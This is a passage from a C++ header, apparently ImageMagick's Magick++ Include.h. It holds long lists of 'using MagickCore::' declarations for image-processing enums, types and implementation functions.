using MagickCore::SoftLightCompositeOp; using MagickCore::SrcAtopCompositeOp; using MagickCore::SrcCompositeOp; using MagickCore::SrcInCompositeOp; using MagickCore::SrcOutCompositeOp; using MagickCore::SrcOverCompositeOp; using MagickCore::ModulusSubtractCompositeOp; using MagickCore::ThresholdCompositeOp; using MagickCore::XorCompositeOp; using MagickCore::DivideDstCompositeOp; using MagickCore::DistortCompositeOp; using MagickCore::BlurCompositeOp; using MagickCore::PegtopLightCompositeOp; using MagickCore::VividLightCompositeOp; using MagickCore::PinLightCompositeOp; using MagickCore::LinearDodgeCompositeOp; using MagickCore::LinearBurnCompositeOp; using MagickCore::MathematicsCompositeOp; using MagickCore::DivideSrcCompositeOp; using MagickCore::MinusSrcCompositeOp; using MagickCore::DarkenIntensityCompositeOp; using MagickCore::LightenIntensityCompositeOp; using MagickCore::AddCompositeOp; using MagickCore::SubtractCompositeOp; using MagickCore::MinusCompositeOp; using MagickCore::DivideCompositeOp; // Compression algorithms using MagickCore::CompressionType; using MagickCore::UndefinedCompression; using MagickCore::NoCompression; using MagickCore::B44ACompression; using MagickCore::B44Compression; using MagickCore::BZipCompression; using MagickCore::DXT1Compression; using MagickCore::DXT3Compression; using MagickCore::DXT5Compression; using MagickCore::FaxCompression; using MagickCore::Group4Compression; using MagickCore::JBIG1Compression; using MagickCore::JBIG2Compression; using MagickCore::JPEG2000Compression; using MagickCore::JPEGCompression; using MagickCore::LosslessJPEGCompression; using MagickCore::LZMACompression; using MagickCore::LZWCompression; using MagickCore::PizCompression; using MagickCore::Pxr24Compression; using MagickCore::RLECompression; using MagickCore::WebPCompression; using MagickCore::ZipCompression; using MagickCore::ZipSCompression; using MagickCore::ZstdCompression; // Decoration types using MagickCore::DecorationType; using MagickCore::UndefinedDecoration; using MagickCore::NoDecoration; using MagickCore::UnderlineDecoration; using MagickCore::OverlineDecoration; using MagickCore::LineThroughDecoration; // Direction types using MagickCore::DirectionType; using MagickCore::UndefinedDirection; using MagickCore::RightToLeftDirection; using MagickCore::LeftToRightDirection; // Dispose methods using MagickCore::DisposeType; using MagickCore::UndefinedDispose; using MagickCore::NoneDispose; using MagickCore::BackgroundDispose; using MagickCore::PreviousDispose; // Distort methods using MagickCore::DistortImageMethod; using MagickCore::UndefinedDistortion; using MagickCore::AffineDistortion; using MagickCore::AffineProjectionDistortion; using MagickCore::ScaleRotateTranslateDistortion; using MagickCore::PerspectiveDistortion; using MagickCore::PerspectiveProjectionDistortion; using MagickCore::BilinearForwardDistortion; using MagickCore::BilinearDistortion; using MagickCore::BilinearReverseDistortion; using MagickCore::PolynomialDistortion; using MagickCore::ArcDistortion; using MagickCore::PolarDistortion; using MagickCore::DePolarDistortion; using MagickCore::Cylinder2PlaneDistortion; using MagickCore::Plane2CylinderDistortion; using MagickCore::BarrelDistortion; using MagickCore::BarrelInverseDistortion; using MagickCore::ShepardsDistortion; using MagickCore::ResizeDistortion; using MagickCore::SentinelDistortion; // Dither methods using MagickCore::DitherMethod; using MagickCore::UndefinedDitherMethod; using MagickCore::NoDitherMethod; using MagickCore::RiemersmaDitherMethod; using MagickCore::FloydSteinbergDitherMethod; // Endian options using MagickCore::EndianType; using MagickCore::UndefinedEndian; using MagickCore::LSBEndian; using MagickCore::MSBEndian; // Evaluate options using MagickCore::MagickEvaluateOperator; using MagickCore::UndefinedEvaluateOperator; using MagickCore::AddEvaluateOperator; using MagickCore::AndEvaluateOperator; using MagickCore::DivideEvaluateOperator; using MagickCore::LeftShiftEvaluateOperator; using MagickCore::MaxEvaluateOperator; using MagickCore::MinEvaluateOperator; using MagickCore::MultiplyEvaluateOperator; using MagickCore::OrEvaluateOperator; using MagickCore::RightShiftEvaluateOperator; using MagickCore::SetEvaluateOperator; using MagickCore::SubtractEvaluateOperator; using MagickCore::XorEvaluateOperator; using MagickCore::PowEvaluateOperator; using MagickCore::LogEvaluateOperator; using MagickCore::ThresholdEvaluateOperator; using MagickCore::ThresholdBlackEvaluateOperator; using MagickCore::ThresholdWhiteEvaluateOperator; using MagickCore::GaussianNoiseEvaluateOperator; using MagickCore::ImpulseNoiseEvaluateOperator; using MagickCore::LaplacianNoiseEvaluateOperator; using MagickCore::MultiplicativeNoiseEvaluateOperator; using MagickCore::PoissonNoiseEvaluateOperator; using MagickCore::UniformNoiseEvaluateOperator; using MagickCore::CosineEvaluateOperator; using MagickCore::SineEvaluateOperator; using MagickCore::AddModulusEvaluateOperator; using MagickCore::MeanEvaluateOperator; using MagickCore::AbsEvaluateOperator; using MagickCore::ExponentialEvaluateOperator; using MagickCore::MedianEvaluateOperator; using MagickCore::SumEvaluateOperator; using MagickCore::RootMeanSquareEvaluateOperator; // Fill rules using MagickCore::FillRule; using MagickCore::UndefinedRule; using MagickCore::EvenOddRule; using MagickCore::NonZeroRule; // Filter types using MagickCore::FilterTypes; using MagickCore::UndefinedFilter; using MagickCore::PointFilter; using MagickCore::BoxFilter; using MagickCore::TriangleFilter; using MagickCore::HermiteFilter; using MagickCore::HanningFilter; using MagickCore::HammingFilter; using MagickCore::BlackmanFilter; using MagickCore::GaussianFilter; using MagickCore::QuadraticFilter; using MagickCore::CubicFilter; using MagickCore::CatromFilter; using MagickCore::MitchellFilter; using MagickCore::JincFilter; using MagickCore::SincFilter; using MagickCore::SincFastFilter; using MagickCore::KaiserFilter; using MagickCore::WelshFilter; using MagickCore::ParzenFilter; using MagickCore::BohmanFilter; using MagickCore::BartlettFilter; using MagickCore::LagrangeFilter; using MagickCore::LanczosFilter; using MagickCore::LanczosSharpFilter; using MagickCore::Lanczos2Filter; using MagickCore::Lanczos2SharpFilter; using MagickCore::RobidouxFilter; using MagickCore::RobidouxSharpFilter; using MagickCore::CosineFilter; using MagickCore::SplineFilter; using MagickCore::LanczosRadiusFilter; using MagickCore::SentinelFilter; // Bit gravity using MagickCore::GravityType; using MagickCore::UndefinedGravity; using MagickCore::ForgetGravity; using MagickCore::NorthWestGravity; using MagickCore::NorthGravity; using MagickCore::NorthEastGravity; using MagickCore::WestGravity; using MagickCore::CenterGravity; using MagickCore::EastGravity; using MagickCore::SouthWestGravity; using MagickCore::SouthGravity; using MagickCore::SouthEastGravity; using MagickCore::StaticGravity; // Image types using MagickCore::ImageType; using MagickCore::UndefinedType; using MagickCore::BilevelType; using MagickCore::GrayscaleType; using MagickCore::GrayscaleMatteType; using MagickCore::PaletteType; using MagickCore::PaletteMatteType; using MagickCore::TrueColorType; using MagickCore::TrueColorMatteType; using MagickCore::ColorSeparationType; using MagickCore::ColorSeparationMatteType; using MagickCore::OptimizeType; using MagickCore::PaletteBilevelMatteType; // Interlace types using MagickCore::InterlaceType; using MagickCore::UndefinedInterlace; using MagickCore::NoInterlace; using MagickCore::LineInterlace; using MagickCore::PlaneInterlace; using MagickCore::PartitionInterlace; using MagickCore::GIFInterlace; using MagickCore::JPEGInterlace; using MagickCore::PNGInterlace; // Pixel interpolation methods using MagickCore::InterpolatePixelMethod; using MagickCore::UndefinedInterpolatePixel; using MagickCore::AverageInterpolatePixel; using MagickCore::BicubicInterpolatePixel; using MagickCore::BilinearInterpolatePixel; using MagickCore::FilterInterpolatePixel; using MagickCore::IntegerInterpolatePixel; using MagickCore::MeshInterpolatePixel; using MagickCore::NearestNeighborInterpolatePixel; using MagickCore::SplineInterpolatePixel; using MagickCore::Average9InterpolatePixel; using MagickCore::Average16InterpolatePixel; using MagickCore::BlendInterpolatePixel; using MagickCore::BackgroundInterpolatePixel; using MagickCore::CatromInterpolatePixel; // Layer method using MagickCore::ImageLayerMethod; using MagickCore::UndefinedLayer; using MagickCore::CoalesceLayer; using MagickCore::CompareAnyLayer; using MagickCore::CompareClearLayer; using MagickCore::CompareOverlayLayer; using MagickCore::DisposeLayer; using MagickCore::OptimizeLayer; using MagickCore::OptimizeImageLayer; using MagickCore::OptimizePlusLayer; using MagickCore::OptimizeTransLayer; using MagickCore::RemoveDupsLayer; using MagickCore::RemoveZeroLayer; using MagickCore::CompositeLayer; using MagickCore::MergeLayer; using MagickCore::FlattenLayer; using MagickCore::MosaicLayer; using MagickCore::TrimBoundsLayer; // Built-in kernels using MagickCore::KernelInfoType; using MagickCore::UndefinedKernel; using MagickCore::UnityKernel; using MagickCore::GaussianKernel; using MagickCore::DoGKernel; using MagickCore::LoGKernel; using MagickCore::BlurKernel; using MagickCore::CometKernel; using MagickCore::LaplacianKernel; using MagickCore::SobelKernel; using MagickCore::FreiChenKernel; using MagickCore::RobertsKernel; using MagickCore::PrewittKernel; using MagickCore::CompassKernel; using MagickCore::KirschKernel; using MagickCore::DiamondKernel; using MagickCore::SquareKernel; using MagickCore::RectangleKernel; using MagickCore::OctagonKernel; using MagickCore::DiskKernel; using MagickCore::PlusKernel; using MagickCore::CrossKernel; using MagickCore::RingKernel; using MagickCore::PeaksKernel; using MagickCore::EdgesKernel; using MagickCore::CornersKernel; using MagickCore::DiagonalsKernel; using MagickCore::LineEndsKernel; using MagickCore::LineJunctionsKernel; using MagickCore::RidgesKernel; using MagickCore::ConvexHullKernel; using MagickCore::ThinSEKernel; using MagickCore::SkeletonKernel; using MagickCore::ChebyshevKernel; using MagickCore::ManhattanKernel; using MagickCore::OctagonalKernel; using MagickCore::EuclideanKernel; using MagickCore::UserDefinedKernel; using MagickCore::BinomialKernel; // Line cap types using MagickCore::LineCap; using MagickCore::UndefinedCap; using MagickCore::ButtCap; using MagickCore::RoundCap; using MagickCore::SquareCap; // Line join types using MagickCore::LineJoin; using MagickCore::UndefinedJoin; using MagickCore::MiterJoin; using MagickCore::RoundJoin; using MagickCore::BevelJoin; // Log event types using MagickCore::LogEventType; using MagickCore::UndefinedEvents; using MagickCore::NoEvents; using MagickCore::TraceEvent; using MagickCore::AnnotateEvent; using MagickCore::BlobEvent; using MagickCore::CacheEvent; using MagickCore::CoderEvent; using MagickCore::ConfigureEvent; using MagickCore::DeprecateEvent; using MagickCore::DrawEvent; using MagickCore::ExceptionEvent; using MagickCore::ImageEvent; using MagickCore::LocaleEvent; using MagickCore::ModuleEvent; using MagickCore::PolicyEvent; using MagickCore::ResourceEvent; using MagickCore::TransformEvent; using MagickCore::UserEvent; using MagickCore::WandEvent; using MagickCore::X11Event; using MagickCore::AccelerateEvent; using MagickCore::AllEvents; // Magick functions using MagickCore::MagickFunction; using MagickCore::UndefinedFunction; using MagickCore::ArcsinFunction; using MagickCore::ArctanFunction; using MagickCore::PolynomialFunction; using MagickCore::SinusoidFunction; // Metric types using MagickCore::MetricType; using MagickCore::UndefinedMetric; using MagickCore::AbsoluteErrorMetric; using MagickCore::MeanAbsoluteErrorMetric; using MagickCore::MeanErrorPerPixelMetric; using MagickCore::MeanSquaredErrorMetric; using MagickCore::PeakAbsoluteErrorMetric; using MagickCore::PeakSignalToNoiseRatioMetric; using MagickCore::RootMeanSquaredErrorMetric; using MagickCore::NormalizedCrossCorrelationErrorMetric; using MagickCore::FuzzErrorMetric; using MagickCore::UndefinedErrorMetric; using MagickCore::PerceptualHashErrorMetric; // Morphology methods using MagickCore::MorphologyMethod; using MagickCore::UndefinedMorphology; using MagickCore::ConvolveMorphology; using MagickCore::CorrelateMorphology; using MagickCore::ErodeMorphology; using MagickCore::DilateMorphology; using MagickCore::ErodeIntensityMorphology; using MagickCore::DilateIntensityMorphology; using MagickCore::DistanceMorphology; using MagickCore::OpenMorphology; using MagickCore::CloseMorphology; using MagickCore::OpenIntensityMorphology; using MagickCore::CloseIntensityMorphology; using MagickCore::SmoothMorphology; using MagickCore::EdgeInMorphology; using MagickCore::EdgeOutMorphology; using MagickCore::EdgeMorphology; using MagickCore::TopHatMorphology; using MagickCore::BottomHatMorphology; using MagickCore::HitAndMissMorphology; using MagickCore::ThinningMorphology; using MagickCore::ThickenMorphology; using MagickCore::VoronoiMorphology; using MagickCore::IterativeDistanceMorphology; // Noise types using MagickCore::NoiseType; using MagickCore::UndefinedNoise; using MagickCore::UniformNoise; using MagickCore::GaussianNoise; using MagickCore::MultiplicativeGaussianNoise; using MagickCore::ImpulseNoise; using MagickCore::LaplacianNoise; using MagickCore::PoissonNoise; // Orientation types using MagickCore::OrientationType; using MagickCore::UndefinedOrientation; using MagickCore::TopLeftOrientation; using MagickCore::TopRightOrientation; using MagickCore::BottomRightOrientation; using MagickCore::BottomLeftOrientation; using MagickCore::LeftTopOrientation; using MagickCore::RightTopOrientation; using MagickCore::RightBottomOrientation; using MagickCore::LeftBottomOrientation; // Paint methods using MagickCore::PaintMethod; using MagickCore::UndefinedMethod; using MagickCore::PointMethod; using MagickCore::ReplaceMethod; using MagickCore::FloodfillMethod; using MagickCore::FillToBorderMethod; using MagickCore::ResetMethod; // Pixel intensity method using MagickCore::PixelIntensityMethod; using MagickCore::UndefinedPixelIntensityMethod; using MagickCore::AveragePixelIntensityMethod; using MagickCore::BrightnessPixelIntensityMethod; using MagickCore::LightnessPixelIntensityMethod; using MagickCore::Rec601LumaPixelIntensityMethod; using MagickCore::Rec601LuminancePixelIntensityMethod; using MagickCore::Rec709LumaPixelIntensityMethod; using MagickCore::Rec709LuminancePixelIntensityMethod; using MagickCore::RMSPixelIntensityMethod; using MagickCore::MSPixelIntensityMethod; // PixelPacket structure using MagickCore::PixelPacket; // Preview types. Not currently used by Magick++ using MagickCore::PreviewType; using MagickCore::UndefinedPreview; using MagickCore::RotatePreview; using MagickCore::ShearPreview; using MagickCore::RollPreview; using MagickCore::HuePreview; using MagickCore::SaturationPreview; using MagickCore::BrightnessPreview; using MagickCore::GammaPreview; using MagickCore::SpiffPreview; using MagickCore::DullPreview; using MagickCore::GrayscalePreview; using MagickCore::QuantizePreview; using MagickCore::DespecklePreview; using MagickCore::ReduceNoisePreview; using MagickCore::AddNoisePreview; using MagickCore::SharpenPreview; using MagickCore::BlurPreview; using MagickCore::ThresholdPreview; using MagickCore::EdgeDetectPreview; using MagickCore::SpreadPreview; using MagickCore::SolarizePreview; using MagickCore::ShadePreview; using MagickCore::RaisePreview; using MagickCore::SegmentPreview; using MagickCore::SwirlPreview; using MagickCore::ImplodePreview; using MagickCore::WavePreview; using MagickCore::OilPaintPreview; using MagickCore::CharcoalDrawingPreview; using MagickCore::JPEGPreview; // Quantum types using MagickCore::QuantumType; using MagickCore::IndexQuantum; using MagickCore::GrayQuantum; using MagickCore::IndexAlphaQuantum; using MagickCore::GrayAlphaQuantum; using MagickCore::RedQuantum; using MagickCore::CyanQuantum; using MagickCore::GreenQuantum; using MagickCore::YellowQuantum; using MagickCore::BlueQuantum; using MagickCore::MagentaQuantum; using MagickCore::AlphaQuantum; using MagickCore::BlackQuantum; using MagickCore::RGBQuantum; using MagickCore::RGBAQuantum; using MagickCore::CMYKQuantum; // Rendering intents using MagickCore::RenderingIntent; using MagickCore::UndefinedIntent; using MagickCore::SaturationIntent; using MagickCore::PerceptualIntent; using MagickCore::AbsoluteIntent; using MagickCore::RelativeIntent; // Resource types using MagickCore::ResourceType; using MagickCore::AreaResource; using MagickCore::DiskResource; using MagickCore::FileResource; using MagickCore::MapResource; using MagickCore::MemoryResource; using MagickCore::ThreadResource; using MagickCore::TimeResource; using MagickCore::ThrottleResource; using MagickCore::WidthResource; using MagickCore::HeightResource; using MagickCore::ListLengthResource; // Resolution units using MagickCore::ResolutionType; using MagickCore::UndefinedResolution; using MagickCore::PixelsPerInchResolution; using MagickCore::PixelsPerCentimeterResolution; // IndexPacket type using MagickCore::IndexPacket; // Sparse Color methods using MagickCore::SparseColorMethod; using MagickCore::UndefinedColorInterpolate; using MagickCore::BarycentricColorInterpolate; using MagickCore::BilinearColorInterpolate; using MagickCore::PolynomialColorInterpolate; using MagickCore::ShepardsColorInterpolate; using MagickCore::VoronoiColorInterpolate; using MagickCore::InverseColorInterpolate; using MagickCore::ManhattanColorInterpolate; // Statistic type using MagickCore::MedianStatistic; using MagickCore::NonpeakStatistic; // StorageType type using MagickCore::StorageType; using MagickCore::UndefinedPixel; using MagickCore::CharPixel; using MagickCore::DoublePixel; using MagickCore::FloatPixel; using MagickCore::IntegerPixel; using MagickCore::LongPixel; using MagickCore::QuantumPixel; using MagickCore::ShortPixel; // StretchType type using MagickCore::StretchType; using MagickCore::UndefinedStretch; using MagickCore::NormalStretch; using MagickCore::UltraCondensedStretch; using MagickCore::ExtraCondensedStretch; using MagickCore::CondensedStretch; using MagickCore::SemiCondensedStretch; using MagickCore::SemiExpandedStretch; using MagickCore::ExpandedStretch; using MagickCore::ExtraExpandedStretch; using MagickCore::UltraExpandedStretch; using MagickCore::AnyStretch; // StyleType type using MagickCore::StyleType; using MagickCore::UndefinedStyle; using MagickCore::NormalStyle; using MagickCore::ItalicStyle; using MagickCore::ObliqueStyle; using MagickCore::AnyStyle; // Virtual pixel methods using MagickCore::VirtualPixelMethod; using MagickCore::UndefinedVirtualPixelMethod; using MagickCore::BackgroundVirtualPixelMethod; using MagickCore::DitherVirtualPixelMethod; using MagickCore::EdgeVirtualPixelMethod; using MagickCore::MirrorVirtualPixelMethod; using MagickCore::RandomVirtualPixelMethod; using MagickCore::TileVirtualPixelMethod; using MagickCore::TransparentVirtualPixelMethod; using MagickCore::MaskVirtualPixelMethod; using MagickCore::BlackVirtualPixelMethod; using MagickCore::GrayVirtualPixelMethod; using MagickCore::WhiteVirtualPixelMethod; using MagickCore::HorizontalTileVirtualPixelMethod; using MagickCore::VerticalTileVirtualPixelMethod; using MagickCore::HorizontalTileEdgeVirtualPixelMethod; using MagickCore::VerticalTileEdgeVirtualPixelMethod; using MagickCore::CheckerTileVirtualPixelMethod; #if defined(MAGICKCORE_IMPLEMENTATION) // // ImageMagick symbols used in implementation code // using MagickCore::AcquireExceptionInfo; using MagickCore::AcquireCacheView; using MagickCore::AcquireDrawingWand; using MagickCore::AcquireImage; using MagickCore::AcquireKernelInfo; using MagickCore::AcquireMagickMemory; using MagickCore::AcquireQuantumInfo; using MagickCore::AcquireString; using MagickCore::AcquireStringInfo; using MagickCore::AcquireVirtualCacheView; using MagickCore::AdaptiveBlurImage; using MagickCore::AdaptiveResizeImage; using MagickCore::AdaptiveSharpenImage; using MagickCore::AdaptiveSharpenImageChannel; using MagickCore::AdaptiveThresholdImage; using MagickCore::AddNoiseImage; using MagickCore::AddNoiseImageChannel; using MagickCore::AffineMatrix; using MagickCore::AffineTransformImage; using MagickCore::AnnotateImage; using MagickCore::AreaValue; using MagickCore::AspectValue; using MagickCore::AutoGammaImage; using MagickCore::AutoGammaImageChannel; using MagickCore::AutoLevelImage; using MagickCore::AutoLevelImageChannel; using MagickCore::AutoOrientImage; using MagickCore::Base64Decode; using MagickCore::Base64Encode; using MagickCore::BilevelImage; using MagickCore::BlackThresholdImage; using MagickCore::BlackThresholdImageChannel; using MagickCore::BlobError; using MagickCore::BlobFatalError; using MagickCore::BlobToImage; using MagickCore::BlobWarning; using MagickCore::BlueShiftImage; using MagickCore::BlurImage; using MagickCore::BlurImageChannel; using MagickCore::BorderImage; using MagickCore::BrightnessContrastImage; using MagickCore::BrightnessContrastImageChannel; using MagickCore::CacheError; using MagickCore::CacheFatalError; using MagickCore::CacheWarning; using MagickCore::CannyEdgeImage; using MagickCore::CharcoalImage; using MagickCore::ChopImage; using MagickCore::ClampImage; using MagickCore::ClampImageChannel; using MagickCore::ClearMagickException; using MagickCore::CloneDrawInfo; using MagickCore::CloneImage; using MagickCore::CloneImageInfo; using MagickCore::CloneQuantizeInfo; using MagickCore::ClutImage; using MagickCore::ClutImageChannel; using MagickCore::CoderError; using MagickCore::CoderFatalError; using MagickCore::CoderWarning; using MagickCore::CopyImagePixels; using MagickCore::ColorDecisionListImage; using MagickCore::ColorizeImage; using MagickCore::ColorMatrixImage; using MagickCore::ColorPacket; using MagickCore::CommandOptionToMnemonic; using MagickCore::CompareImageChannels; using MagickCore::CompareImages; using MagickCore::CompositeImage; using MagickCore::ConfigureError; using MagickCore::ConfigureFatalError; using MagickCore::ConfigureWarning; using MagickCore::ConnectedComponentsImage; using MagickCore::ConstituteImage; using MagickCore::ContrastImage; using MagickCore::ContrastStretchImageChannel; using MagickCore::ConvertHSLToRGB; using MagickCore::ConvertRGBToHSL; using MagickCore::ConvolveImage; using MagickCore::CopyMagickString; using MagickCore::CorruptImageError; using MagickCore::CorruptImageFatalError; using MagickCore::CorruptImageWarning; using MagickCore::CropImage; using MagickCore::CropImageToTiles; using MagickCore::CycleColormapImage; using MagickCore::DeconstructImages; using MagickCore::DecipherImage; using MagickCore::DelegateError; using MagickCore::DelegateFatalError; using MagickCore::DelegateWarning; using MagickCore::DeleteImageOption; using MagickCore::DeleteImageRegistry; using MagickCore::DeskewImage; using MagickCore::DespeckleImage; using MagickCore::DestroyCacheView; using MagickCore::DestroyDrawInfo; using MagickCore::DestroyDrawingWand; using MagickCore::DestroyExceptionInfo; using MagickCore::DestroyImageInfo; using MagickCore::DestroyImageList; using MagickCore::DestroyKernelInfo; using MagickCore::DestroyMagickWand; using MagickCore::DestroyPixelWand; using MagickCore::DestroyQuantizeInfo; using MagickCore::DestroyQuantumInfo; using MagickCore::DestroyString; using MagickCore::DestroyStringInfo; using MagickCore::DisplayImages; using MagickCore::DistortImage; using MagickCore::DrawAffine; using MagickCore::DrawAnnotation; using MagickCore::DrawArc; using MagickCore::DrawBezier; using MagickCore::DrawCircle; using MagickCore::DrawColor; using MagickCore::DrawComment; using MagickCore::DrawComposite; using MagickCore::DrawEllipse; using MagickCore::DrawError; using MagickCore::DrawFatalError; using MagickCore::DrawImage; using MagickCore::DrawInfo; using MagickCore::DrawingWand; using MagickCore::DrawLine; using MagickCore::DrawMatte; using MagickCore::DrawPathClose; using MagickCore::DrawPathCurveToAbsolute; using MagickCore::DrawPathCurveToQuadraticBezierAbsolute; using MagickCore::DrawPathCurveToQuadraticBezierRelative; using MagickCore::DrawPathCurveToQuadraticBezierSmoothAbsolute; using MagickCore::DrawPathCurveToQuadraticBezierSmoothRelative; using MagickCore::DrawPathCurveToRelative; using MagickCore::DrawPathCurveToSmoothAbsolute; using MagickCore::DrawPathCurveToSmoothRelative; using MagickCore::DrawPathEllipticArcAbsolute; using MagickCore::DrawPathEllipticArcRelative; using MagickCore::DrawPathFinish; using MagickCore::DrawPathLineToAbsolute; using MagickCore::DrawPathLineToHorizontalAbsolute; using MagickCore::DrawPathLineToHorizontalRelative; using MagickCore::DrawPathLineToRelative; using MagickCore::DrawPathLineToVerticalAbsolute; using MagickCore::DrawPathLineToVerticalRelative; using MagickCore::DrawPathMoveToAbsolute; using MagickCore::DrawPathMoveToRelative; using MagickCore::DrawPathStart; using MagickCore::DrawPoint; using MagickCore::DrawPolygon; using MagickCore::DrawPolyline; using MagickCore::DrawPopClipPath; using MagickCore::DrawPopDefs; using MagickCore::DrawPopPattern; using MagickCore::DrawPushClipPath; using MagickCore::DrawPushDefs; using MagickCore::DrawPushPattern; using MagickCore::DrawRectangle; using MagickCore::DrawRender; using MagickCore::DrawRotate; using MagickCore::DrawRoundRectangle; using MagickCore::DrawScale; using MagickCore::DrawSetClipPath; using MagickCore::DrawSetClipRule; using MagickCore::DrawSetClipUnits; using MagickCore::DrawSetFillColor; using MagickCore::DrawSetFillOpacity; using MagickCore::DrawSetFillPatternURL; using MagickCore::DrawSetFillRule; using MagickCore::DrawSetFont; using MagickCore::DrawSetFontFamily; using MagickCore::DrawSetFontSize; using MagickCore::DrawSetFontStretch; using MagickCore::DrawSetFontStyle; using MagickCore::DrawSetFontWeight; using MagickCore::DrawSetGravity; using MagickCore::DrawSetStrokeAntialias; using MagickCore::DrawSetStrokeColor; using MagickCore::DrawSetStrokeDashArray; using MagickCore::DrawSetStrokeDashOffset; using MagickCore::DrawSetStrokeLineCap; using MagickCore::DrawSetStrokeLineJoin; using MagickCore::DrawSetStrokeMiterLimit; using MagickCore::DrawSetStrokeOpacity; using MagickCore::DrawSetStrokePatternURL; using MagickCore::DrawSetStrokeWidth; using MagickCore::DrawSetTextAntialias; using MagickCore::DrawSetTextDecoration; using MagickCore::DrawSetTextEncoding; using MagickCore::DrawSetTextInterlineSpacing; using MagickCore::DrawSetTextInterwordSpacing; using MagickCore::DrawSetTextKerning; using MagickCore::DrawSetTextUnderColor; using MagickCore::DrawSetViewbox; using MagickCore::DrawSkewX; using MagickCore::DrawSkewY; using MagickCore::DrawTranslate; using MagickCore::DrawWarning; using MagickCore::EdgeImage; using MagickCore::EmbossImage; using MagickCore::EncipherImage; using MagickCore::EnhanceImage; using MagickCore::EqualizeImage; using MagickCore::EvaluateImage; using MagickCore::EvaluateImageChannel; using MagickCore::ExceptionInfo; using MagickCore::ExceptionType; using MagickCore::ExportImagePixels; using MagickCore::ExportQuantumPixels; using MagickCore::ExtentImage; using MagickCore::FileOpenError; using MagickCore::FileOpenFatalError; using MagickCore::FileOpenWarning; using MagickCore::FlipImage; using MagickCore::FloodfillPaintImage; using MagickCore::FlopImage; using MagickCore::FormatLocaleString; using MagickCore::ForwardFourierTransformImage; using MagickCore::FrameImage; using MagickCore::FrameInfo; using MagickCore::FxImageChannel; using MagickCore::GammaImage; using MagickCore::GammaImage; using MagickCore::GaussianBlurImage; using MagickCore::GaussianBlurImageChannel; using MagickCore::GetAffineMatrix; using MagickCore::GetAuthenticIndexQueue; using MagickCore::GetBlobSize; using MagickCore::GetCacheViewException; using MagickCore::GetCacheViewAuthenticIndexQueue; using MagickCore::GetCacheViewAuthenticPixels; using MagickCore::GetCacheViewVirtualPixels; using MagickCore::GetClientName; using MagickCore::GetColorTuple; using MagickCore::GetDrawInfo; using MagickCore::GetGeometry; using MagickCore::GetImageArtifact; using MagickCore::GetImageBoundingBox; using MagickCore::GetImageChannelDistortion; using MagickCore::GetImageChannelDepth; using MagickCore::GetImageChannelMean; using MagickCore::GetImageChannelKurtosis; using MagickCore::GetImageChannelMoments; using MagickCore::GetImageChannelRange; using MagickCore::GetImageClipMask; using MagickCore::GetImageDepth; using MagickCore::GetImageDistortion; using MagickCore::GetImageInfo; using MagickCore::GetImageInfoFile; using MagickCore::GetImageMask; using MagickCore::GetImageOption; using MagickCore::GetAuthenticPixels; using MagickCore::GetImageProfile; using MagickCore::GetImageProperty; using MagickCore::GetImageQuantizeError; using MagickCore::GetImageType; using MagickCore::GetMagickInfo; using MagickCore::GetMagickPixelPacket; using MagickCore::GetMultilineTypeMetrics; using MagickCore::GetNextValueInLinkedList; using MagickCore::GetNumberColors; using MagickCore::GetNumberOfElementsInLinkedList; using MagickCore::GetPageGeometry; using MagickCore::GetQuantizeInfo; using MagickCore::GetStringInfoDatum; using MagickCore::GetStringInfoLength; using MagickCore::GetTypeMetrics; using MagickCore::GetValueFromLinkedList; using MagickCore::GetVirtualIndexQueue; using MagickCore::GetVirtualPixels; using MagickCore::GetImageVirtualPixelMethod; using MagickCore::GlobExpression; using MagickCore::GravityAdjustGeometry; using MagickCore::GrayscaleImage; using MagickCore::GreaterValue; using MagickCore::HaldClutImage; using MagickCore::HeightValue; using MagickCore::HoughLineImage; using MagickCore::ImageError; using MagickCore::ImageFatalError; using MagickCore::ImageInfo; using MagickCore::ImageRegistryType; using MagickCore::ImageToBlob; using MagickCore::ImagesToBlob; using MagickCore::ImageWarning; using MagickCore::ImplodeImage; using MagickCore::ImportQuantumPixels; using MagickCore::InterpretImageProperties; using MagickCore::InverseFourierTransformImage; using MagickCore::InvokeDynamicImageFilter; using MagickCore::IsEventLogging; using MagickCore::IsGeometry; using MagickCore::IsImagesEqual; using MagickCore::IsOpaqueImage; using MagickCore::KernelInfo; using MagickCore::KuwaharaImage; using MagickCore::LessValue; using MagickCore::LevelImage; using MagickCore::LevelImageChannel; using MagickCore::LevelColorsImageChannel; using MagickCore::LevelizeImage; using MagickCore::LevelizeImageChannel; using MagickCore::LinearStretchImage; using MagickCore::LinkedListInfo; using MagickCore::LiquidRescaleImage; using MagickCore::LocaleCompare; using MagickCore::LocalContrastImage; using MagickCore::LockSemaphoreInfo; using MagickCore::LogMagickEvent; using MagickCore::MagickCoreTerminus; using MagickCore::MagickInfo; using MagickCore::MagickPixelPacket; using MagickCore::MagickToMime; using MagickCore::MagickWand; using MagickCore::MagnifyImage; using MagickCore::MergeImageLayers; using MagickCore::MinifyImage; using MagickCore::MinimumValue; using MagickCore::MissingDelegateError; using MagickCore::MissingDelegateFatalError; using MagickCore::MissingDelegateWarning; using MagickCore::ModulateImage; using MagickCore::ModuleError; using MagickCore::ModuleFatalError; using MagickCore::ModuleWarning; using MagickCore::MonitorError; using MagickCore::MonitorFatalError; using MagickCore::MonitorWarning; using MagickCore::MontageInfo; using MagickCore::MorphologyImage; using MagickCore::MorphologyImageChannel; using MagickCore::MotionBlurImage; using MagickCore::NegateImage; using MagickCore::NegateImageChannel; using MagickCore::NewMagickWandFromImage; using MagickCore::NewPixelWand; using MagickCore::NoiseType; using MagickCore::NormalizeImage; using MagickCore::NoValue; using MagickCore::OffsetInfo; using MagickCore::OilPaintImage; using MagickCore::OpaquePaintImage; using MagickCore::OrderedPosterizeImage; using MagickCore::OptionError; using MagickCore::OptionFatalError; using MagickCore::OptionWarning; using MagickCore::OptimizeImageLayers; using MagickCore::OptimizeImageTransparency; using MagickCore::OptimizePlusImageLayers; using MagickCore::ParseMetaGeometry; using MagickCore::PercentValue; using MagickCore::PerceptibleImage; using MagickCore::PerceptibleImageChannel; using MagickCore::PingBlob; using MagickCore::PingImage; using MagickCore::PixelSetQuantumColor; using MagickCore::PixelWand; using MagickCore::PointInfo; using MagickCore::PopDrawingWand; using MagickCore::PolaroidImage; using MagickCore::PolicyWarning; using MagickCore::PolicyError; using MagickCore::PolicyFatalError; using MagickCore::PosterizeImage; using MagickCore::PosterizeImageChannel; using MagickCore::ProfileImage; using MagickCore::ProfileInfo; using MagickCore::PushDrawingWand; using MagickCore::QuantizeImage; using MagickCore::QuantizeInfo; using 